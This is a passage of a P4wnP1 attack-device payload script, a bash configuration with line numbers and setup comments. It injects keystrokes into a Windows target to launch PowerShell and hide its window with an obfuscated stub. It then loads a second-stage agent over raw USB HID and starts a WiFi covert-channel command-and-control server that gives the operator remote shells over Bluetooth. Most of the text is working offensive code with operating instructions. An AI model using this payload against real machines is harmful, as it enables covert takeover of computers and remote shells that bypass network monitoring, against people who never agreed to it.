keyboard layout (default us) 30 | # - attach P4wnP1 to clients, wait till LED blinks twice (target is ready to receive keyboard input) 31 | # - press NUMLOCK on target about 5-times (fast) 32 | # - P4wnP1 starts typing out the payload, if `HIDE_AGENT_WINDOW` is enabled, the console window gets hidden 33 | # - During typing the LED stops blinking, wait till the LED blinks again (P4wnP1 is still typing out the payload 34 | # even if the window is hidden) 35 | # - When the LED blinks again, the client payload should be running and P4wnP1 could be removed 36 | # - THE CLIENT NEEDS A WIFI ENABLED INTERFACE FOR THE CHANNEL TO WORK. BUT, THERE'S NO NEED TO HAVE THE CLIENT CONNECTED 37 | # TO ANY WIFI (that's what this is all about) 38 | # 39 | # 2) Bring up C2 Server 40 | # - Attach P4wnP1 to another host OR POWER SOURCE (there's no host needed, as C2 server is accessed via Bluetooth) 41 | # - P4wnP1 spawns a bluetooth NAP with name set according to the options in this payload 42 | # - connect to the bluetooth network and login to P4wnP1 with user `pi` and your password 43 | # - on login the C2 serve is attached to the SSH session 44 | # - issue `sessions` to list currently connected clients 45 | # - use `interact ` to spawn a shell (comms are slow on this channel, so be patient) 46 | # - press [CTRL + C] during interaction to bring up a menu for the session 47 | # 48 | # Additional notes: 49 | 50 | # - the target is still able to connect to WiFi networks and use them, but the payload impacts throughput of valid 51 | # communications as scans are issued rapidly 52 | # - the cleint agent is tested against Win 7 64 / Win 10 64 with Intel WiFi adapters, but still considered 53 | # experimental (no support) 54 | # - If HIDE_AGENT_WINDOW=false is set, the client agent console is kept visible and displays debug output (the curently 55 | # shipped payload is a DEBUG build) 56 | # - the payload requires latest P4wnP1 installation (modifications to WiFi kernel modules and driver stack) to 57 | # work and should run on kernel 4.9.78+ 58 | # 59 | # Client agent code: 60 | # https://github.com/mame82/P4wnP1_WiFi_covert_channel_client/blob/master/NWiFi/Agent.cs 61 | # C2 server code: 62 | # https://github.com/mame82/P4wnP1_nexmon_additions/blob/master/wifi_server.py 63 | # WiFi driver + firmware mod: 64 | # not yet published, compiled version in latest P4wnP1_nexmon_additions 65 | # Firmware interaction layer: 66 | # https://github.com/mame82/P4wnP1_nexmon_additions/blob/master/mame82_util.py 67 | # More detailed descrition: 68 | # https://github.com/mame82/P4wnP1_WiFi_covert_channel_client/blob/master/README.md 69 | # Video demo: 70 | # https://www.youtube.com/watch?v=fbUBQeD0JtA 71 | 72 | HIDE_AGENT_WINDOW=true # if true, a powershell stub gets added, which hides the target window during keystroke injection 73 | 74 | 75 | # overwrite keyboard language from setup.cfg 76 | lang="us" 77 | 78 | 79 | 80 | # ============================= 81 | # USB setup 82 | # ============================= 83 | # Make sure to change USB_PID if you enable different USB functionality in order 84 | # to force Windows to enumerate the device again 85 | USB_VID="0x1d6b" # Vendor ID 86 | USB_PID="0x4137" # Product ID 87 | 88 | USE_ECM=false # if true CDC ECM will be enabled 89 | USE_RNDIS=false # if true RNDIS will be enabled 90 | USE_HID=true # if true HID (keyboard) will be enabled 91 | USE_RAWHID=true # if true HID raw device will be enabled 92 | USE_UMS=false # if true USB Mass Storage will be enabled 93 | 94 | # disable setting of static routes for all IPv4 addresses 95 | ROUTE_SPOOF=false 96 | 97 | # use LED based HID keyboard test 98 | USE_HID_TEST=true 99 | 100 | # WIFI config 101 | WIFI_NEXMON=true # use modified nexmon firmware (patched for covert channel) 102 | WIFI_NEXMON_BRING_UP_MONITOR_FIRST=true # we force monitor interface creation before starting hostapd 103 | 104 | WIFI_REG=US 105 | WIFI_ACCESSPOINT=false 106 | WIFI_ACCESSPOINT_CHANNEL=6 107 | WIFI_ACCESSPOINT_NAME="P4wnP1" 108 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 109 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 110 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 111 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 112 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID 113 | 114 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP) 115 | 116 | 117 | # blink one time when payload script get's initiated 118 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login 119 | 120 | function onKeyboardUp() 121 | { 122 | 123 | # start HID payload delivery server 124 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/payload_delivery; python hidserver.py" 125 | 126 | # blink two times when hid keyboard is usable and HID server is started 127 | led_blink 2 128 | 129 | # as soon as NUMLOCK is pressed rapidly we start the 32 bit PowerShell (needed for payload) 130 | while $true; do 131 | # wait for keyboard LED trigger 132 | key_trigger 133 | 134 | led_blink 0 # turn led of while typing 135 | 136 | # run interactive PowerShell console 137 | cat <<- EOF | duckhid 138 | GUI r 139 | DELAY 500 140 | STRING %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 141 | ENTER 142 | DELAY 1000 143 | EOF 144 | 145 | if $HIDE_AGENT_WINDOW; then 146 | # output window hider stub (taken from P4wnP1 hid cover channel --> fast hiding with a short line, invisible window keeps input fokus) 147 | # hint: echo instead of printf introduces a new_line_char, which gets interpreted as pressing return by `outhid` 148 | echo '$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)' | outhid 149 | fi 150 | 151 | # output stage1 command (loads stage2 via raw HID) 152 | (printf "\$USB_VID='1D6B';\$USB_PID='4137';"; cat $wdir/hidtools/payload_delivery/stage1_mini.ps1) | outhid 153 | 154 | led_blink 2 # turn led back on, to indicate typing finished 155 | 156 | done 157 | 158 | } 159 | 160 | 161 | # commands in this function are ran on user login 162 | # the commans are ran by user "pi" 163 | function onLogin() 164 | { 165 | # check if server is running (if the server crashed it could be restarted with new ssh login) 166 | if [ $(ps -aux | grep -v -e grep | grep wifi_server.py | wc -l) -gt 0 ]; then 167 | echo "Attaching to WiFi covert channel server's screen session ..." 168 | else 169 | echo "Starting covert channel server" 170 | sudo screen -dmS wifi_c2 bash -c "cd $wdir/nexmon; python wifi_server.py" 171 | fi 172 | 173 | # attach to covert channel control server 174 | sudo screen -d -r wifi_c2 175 | return 176 | } 177 | --------------------------------------------------------------------------------